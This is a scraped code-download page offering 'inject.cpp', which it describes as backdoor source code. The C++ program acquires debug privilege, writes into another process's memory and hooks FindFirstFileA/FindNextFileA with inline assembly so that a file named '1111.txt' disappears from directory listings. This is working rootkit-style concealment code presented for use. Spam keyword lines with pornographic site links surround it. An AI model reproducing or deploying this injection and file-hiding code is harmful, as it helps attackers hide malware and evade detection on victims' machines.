亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? inject.cpp

?? 最新的服務級后門源程序 
?? CPP
字號:
#include <winsock2.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <windows.h>
#include <malloc.h>
#include <stdio.h>
#include <Psapi.h>
#include <winsock2.h>
#include <Tlhelp32.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"user32")
#pragma comment(lib,"psapi")
#include <winbase.h>

typedef struct
{
	HMODULE		hModule;//句柄
	LPVOID		lpNewBaseOfDll;//備份dll句柄
	MODULEINFO	modinfo;//MODULEINFO結構
}DLLINFO, *PDLLINFO;

#pragma comment (lib,"Advapi32.lib")



BOOL InitDll(char *pszDll, PDLLINFO pDllInfo,HANDLE prochandle)
{
	pDllInfo->hModule = GetModuleHandle(pszDll);//得到目標dll句柄,因為是本地信息,所以要保證本程序加載此dll
	if(!pDllInfo->hModule)
	{
		printf("pDllInfo->hModule is null! in InitDll");
		return 0;
	}
	if(!GetModuleInformation(GetCurrentProcess(), pDllInfo->hModule, &pDllInfo->modinfo, sizeof(MODULEINFO)))//得到目標dll信息
	{
		printf("Error:GetModuleInformation in InitDll");
		return 0;
	}
	pDllInfo->lpNewBaseOfDll = VirtualAllocEx(prochandle,0,pDllInfo->modinfo.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申請空間并賦予相應權限(執行,讀寫)
	if(!pDllInfo->lpNewBaseOfDll)
	{
		printf("Error:VirtualAllocEx in InitDll");//錯誤處理
		return 0;
	}
	BYTE * buffer=(BYTE *)malloc(pDllInfo->modinfo.SizeOfImage);//分配緩沖,容納目標dll
	ReadProcessMemory(prochandle,pDllInfo->modinfo.lpBaseOfDll,buffer,pDllInfo->modinfo.SizeOfImage,0);//讀出,遠程dll內容
	WriteProcessMemory(prochandle,pDllInfo->lpNewBaseOfDll,buffer,pDllInfo->modinfo.SizeOfImage,0);//寫入備份dll
	return 1;
}

BOOL __stdcall hook_FindNextFileA(HANDLE find,PWIN32_FIND_DATA data)
{
	//__asm NOP//如果沒有使用得到kernel32.dll地址的語句,就要取消這句的注釋,因為沒有使用得到kernel32.dll地址的語句,函數初始化代碼就少了一句:push esi,為了保證oldproc可以被改寫,要增加一字節。
	int oldproc=0x11223344;
	int Getproc=0x11111111;
	int keraddr;
	int findnext;
	int Geterror;
	bool myret;
	__asm
	{
		mov eax,fs:0x30
		mov eax,[eax+0x0c]
		mov esi,[eax+0x1c]
		lodsd
		mov eax,[eax + 0x08]
		mov keraddr,eax//得到kernel32.dll地址
	}
	__asm
	{
		push 0x00000000
		push 0x726f7272
		push 0x45747361
		push 0x4c746547//在堆 中構造"GetLastError"
		push esp
		push keraddr
		call Getproc
		mov Geterror,eax//得到GetLastError地址
	}
	int temp;
	__asm
	{
		push data
		push find
		mov eax,oldproc
		call eax
		mov temp,eax
	}
	char * myname=data->cFileName;
	__asm
	{
first:
		mov eax,myname
		mov ebx,0x31313131
		cmp [eax],ebx
		jne myno
		mov eax,myname
		mov ebx,0x7478742e
		cmp [eax+4],ebx
		jne myno//比較是否是"1111.txt"
	    
		push data
		push myret
		mov ebx,findnext
		call ebx//如果是則調用findnextfile查找下一個文件
		mov temp,eax
		mov ebx,ERROR_NO_MORE_FILES
		call Geterror
		cmp eax,ebx
		jne first//如果文件枚舉完畢則返回,否則繼續比較
myno:
		NOP
	}
	myret=(bool)temp;


return myret;
}

HANDLE __stdcall hook_FindFirstFileA(LPCTSTR find,LPWIN32_FIND_DATA data)
{
	int oldproc=0x11223344;//原api地址
	int Getproc=0xffbbaadd;//GetProcAddress地址
	int keraddr;
	int findnext;
	int Geterror;
	__asm
	{
		mov eax,fs:0x30
		mov eax,[eax+0x0c]
		mov esi,[eax+0x1c]
		lodsd
		mov eax,[eax + 0x08]
		mov keraddr,eax//得到kernel32.dll地址
	}
	__asm
	{
		push 0x00000041
		push 0x656c6946
		push 0x7478654e
		push 0x646e6946//在堆 中構造"FindNextFileA"
		push esp
		push keraddr
		call Getproc
		mov findnext,eax//得到FindNextFileA地址
		push 0x00000000
		push 0x726f7272
		push 0x45747361
		push 0x4c746547//在堆 中構造"GetLastError"
		push esp
		push keraddr
		call Getproc
		mov Geterror,eax//得到GetLastError地址
	}
	HANDLE myret;
	__asm
	{
		push data
		push find
		mov edx,oldproc
		call edx//調用原函數
		mov myret,eax
	}
	char * myname=data->cFileName;//指向找到的文件名
	__asm
	{
first:
		mov eax,myname
		mov ebx,0x31313131
		cmp [eax],ebx
		jne myno
		mov eax,myname
		mov ebx,0x7478742e
		cmp [eax+4],ebx
		jne myno//比較是否是"1111.txt"
	    
		push data
		push myret
		mov ebx,findnext
		call ebx//如果是則調用findnextfile查找下一個文件
		mov ebx,ERROR_NO_MORE_FILES
		call Geterror
		cmp eax,ebx
		jne first//如果文件枚舉完畢則返回,否則繼續比較
myno:
		NOP
	}
return myret;
}


int hook_api(PDLLINFO pDllInfo, char *name, DWORD hackfunc, DWORD *pNewFunc,HANDLE prochandle)
{
	DWORD						dw, dwOrigFunc;
	MEMORY_BASIC_INFORMATION	mbi;

	dwOrigFunc = (DWORD)GetProcAddress(pDllInfo->hModule, name);//目標api地址,每個進程的api地址都是一樣的,只要找本進程的就可以了。
	if(dwOrigFunc == NULL)
	{
		printf("Error:GetProcAddress in hook_api");//錯誤處理
		return 0;
	}

	if(!VirtualQueryEx(prochandle,(void *)dwOrigFunc,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//獲取api所在內存信息
	{
		printf("Error:VirtualQueryEx in hook_api");
		return 0;
	}

	if(!VirtualProtectEx(prochandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//分配寫和執行權限
	{
		printf("Error:VirtualProtectEx in hook_api");
		return 0;
	}
	LPVOID funcaddr=VirtualAllocEx(prochandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫入hook函數

	WriteProcessMemory(prochandle,funcaddr,(void *)hackfunc/*func*/,500,0);
	//計算原函數COPY的位置
	*pNewFunc = dwOrigFunc - (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll;
	//修改原函數入口處內容
	BYTE b8=0xb8;//mov eax,XX XX XX XX
	WriteProcessMemory(prochandle,(LPVOID)dwOrigFunc,&b8,1,0);
	WriteProcessMemory(prochandle,(LPVOID)(dwOrigFunc+1),&funcaddr,4,0);
	BYTE e0ff[2]={0xFF,0xE0};//jmp eax
	WriteProcessMemory(prochandle,(LPVOID)(dwOrigFunc+5),&e0ff,2,0);
	DWORD temp=*pNewFunc;
	WriteProcessMemory(prochandle,(LPVOID)((DWORD)funcaddr+11),&temp,4,0);//寫入備份api地址
	temp=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"GetProcAddress");
	WriteProcessMemory(prochandle,(LPVOID)((DWORD)funcaddr+18),&temp,4,0);//寫入GetProcAddress
	printf("func:%x,old:%x,new:%x\n",funcaddr,dwOrigFunc,*pNewFunc);//調試信息

	return 1;
}

void UpToDebug()//調整令牌提升至debug權限
{
	HANDLE token;
	OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&token);
	TOKEN_PRIVILEGES tp;
	tp.PrivilegeCount =1;
	LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
	tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
	AdjustTokenPrivileges(token,0,&tp,sizeof(tp),0,0);
}

void main(int argc, char **argv)
{

	UpToDebug();//提升至debug權限

	HANDLE inhandle=OpenProcess(PROCESS_ALL_ACCESS,1,(DWORD)atoi(argv[1]));//打開目標進程

	DLLINFO user32_dll;
	if(!InitDll("kernel32.dll",&user32_dll,inhandle)) return;//備份目標dll
	DWORD new_FindFirstFileA;
	hook_api(&user32_dll, "FindFirstFileA", (DWORD)hook_FindFirstFileA, &new_FindFirstFileA,inhandle);//hook函數
	hook_api(&user32_dll, "FindNextFileA", (DWORD)hook_FindNextFileA, &new_FindFirstFileA,inhandle);
    return;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
波多野结衣中文一区| 一区二区三区四区蜜桃| 亚洲欧洲日韩综合一区二区| 免费成人在线播放| 欧美日韩视频不卡| 亚洲婷婷在线视频| 精品亚洲国产成人av制服丝袜| 日本道免费精品一区二区三区| 国产精品丝袜一区| 成人动漫av在线| 亚洲丝袜自拍清纯另类| 懂色av噜噜一区二区三区av| 久久久亚洲精品石原莉奈| 另类欧美日韩国产在线| 宅男噜噜噜66一区二区66| 亚洲午夜精品17c| 欧美日韩免费高清一区色橹橹| 一区二区三区**美女毛片| 99精品视频一区二区三区| 亚洲欧美另类小说视频| 91成人免费在线| 美女在线视频一区| 久久精品亚洲精品国产欧美| 99久久99久久免费精品蜜臀| 亚洲精选免费视频| 91精品国产欧美一区二区| 国产真实精品久久二三区| 国产精品视频一二三区| 在线精品亚洲一区二区不卡| 奇米888四色在线精品| 久久婷婷综合激情| 欧洲亚洲国产日韩| 国产一区二区成人久久免费影院| 中文字幕亚洲区| 日韩亚洲欧美中文三级| av亚洲精华国产精华| 视频在线观看一区二区三区| 国产天堂亚洲国产碰碰| 精品视频一区二区不卡| 大胆亚洲人体视频| 日本网站在线观看一区二区三区| 日韩三级伦理片妻子的秘密按摩| 国产精品一区在线观看乱码| 亚洲一区二区综合| 欧美高清在线一区| 久久蜜桃一区二区| 欧美一区二区免费| 欧美日韩精品专区| 一本色道久久综合精品竹菊| 成人在线视频首页| 国产伦精一区二区三区| 丝袜美腿亚洲综合| 亚洲一区二区三区自拍| 亚洲欧美色图小说| 中文字幕在线免费不卡| 26uuu精品一区二区| 日韩亚洲欧美在线| 日韩女优电影在线观看| 91精品国产免费| 欧美成人精品福利| 懂色av中文字幕一区二区三区 | 丁香另类激情小说| 成人性生交大片免费看在线播放| 国产乱码精品一区二区三区av | 日韩欧美在线影院| 制服.丝袜.亚洲.另类.中文| 欧美人妇做爰xxxⅹ性高电影| 欧美日韩国产一二三| 91精品蜜臀在线一区尤物| 日韩一卡二卡三卡| 久久久不卡影院| 一区二区在线观看视频在线观看| 亚洲乱码中文字幕综合| 日韩电影免费在线| 成人性视频网站| 欧美性videosxxxxx| 精品久久久久一区二区国产| 国产欧美综合在线| 亚洲一区中文在线| 国产精品亚洲午夜一区二区三区| 波多野结衣中文一区| 91.xcao| 中文久久乱码一区二区| 日韩激情av在线| 成人动漫在线一区| 日韩一区二区电影在线| 亚洲码国产岛国毛片在线| 久久国产尿小便嘘嘘尿| 欧美性感一区二区三区| 精品国产免费久久| 午夜精品久久久久| 91丨国产丨九色丨pron| 久久综合一区二区| 午夜一区二区三区在线观看| 成人午夜电影网站| 久久精品人人做人人综合 | 日韩一区二区免费高清| 亚洲已满18点击进入久久| 成人一区二区视频| 久久欧美一区二区| 久久精品国产精品青草| 91精品综合久久久久久| 亚洲激情五月婷婷| 欧美性xxxxxxxx| 亚洲丰满少妇videoshd| 欧美午夜精品一区二区蜜桃 | 久久久综合视频| 精品亚洲免费视频| 国产欧美精品区一区二区三区| 狠狠色丁香久久婷婷综合丁香| 日韩免费成人网| 国产精品综合网| 国产偷国产偷精品高清尤物| 亚洲精品中文在线观看| 日韩成人伦理电影在线观看| 欧美日韩中字一区| 偷窥少妇高潮呻吟av久久免费| 在线视频国产一区| 亚洲精品视频一区| 色综合久久66| 亚洲综合一二三区| 欧美日韩成人综合在线一区二区| 一区二区三区产品免费精品久久75| 99精品视频在线播放观看| 亚洲人精品午夜| 欧美熟乱第一页| 老司机精品视频导航| 久久久美女毛片| 色94色欧美sute亚洲线路一久 | 678五月天丁香亚洲综合网| 日韩不卡一二三区| 欧美—级在线免费片| 亚洲高清在线视频| 国产真实乱子伦精品视频| 欧美精品xxxxbbbb| 国产福利精品一区| 国产精品拍天天在线| 欧亚洲嫩模精品一区三区| 日韩电影一区二区三区| 国产精品成人免费| 日韩亚洲欧美综合| 色噜噜狠狠色综合中国| 狠狠色狠狠色综合日日91app| 亚洲视频免费在线| 欧美肥大bbwbbw高潮| 99麻豆久久久国产精品免费优播| 午夜精品福利在线| 亚洲图片激情小说| 日韩欧美精品在线视频| 欧美午夜影院一区| 色综合久久综合| 不卡免费追剧大全电视剧网站| 奇米精品一区二区三区四区| 亚洲激情图片qvod| 国产精品你懂的在线欣赏| 日韩一区二区三区视频在线 | 亚洲免费av网站| 欧美经典一区二区三区| 精品剧情在线观看| 欧美一区二区在线不卡| 色综合欧美在线视频区| 国产69精品久久久久毛片| 国产一区二区三区综合| 国产精品影音先锋| 蜜桃精品视频在线| 蜜臀a∨国产成人精品| 天天综合天天综合色| 麻豆精品在线观看| 韩国成人精品a∨在线观看| 麻豆中文一区二区| 国产真实乱子伦精品视频| 免费一区二区视频| 麻豆精品在线观看| 成人影视亚洲图片在线| 色欧美片视频在线观看| 欧美日韩午夜在线视频| 日韩欧美亚洲国产精品字幕久久久 | 91免费版pro下载短视频| 91在线视频免费观看| 白白色亚洲国产精品| 91色porny| 久久综合网色—综合色88| 亚洲欧洲日本在线| 免费成人在线观看视频| 狠狠网亚洲精品| 欧美日韩精品一区二区天天拍小说| 宅男噜噜噜66一区二区66| 日韩精品一区二区三区蜜臀| 国产精品进线69影院| 亚洲精品视频一区二区| 丝袜脚交一区二区| 成人激情文学综合网| 3d成人h动漫网站入口| 国产精品色一区二区三区| 亚洲激情校园春色| 国产美女精品人人做人人爽| 欧美日韩高清在线| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 久久天天做天天爱综合色| 中文字幕制服丝袜成人av|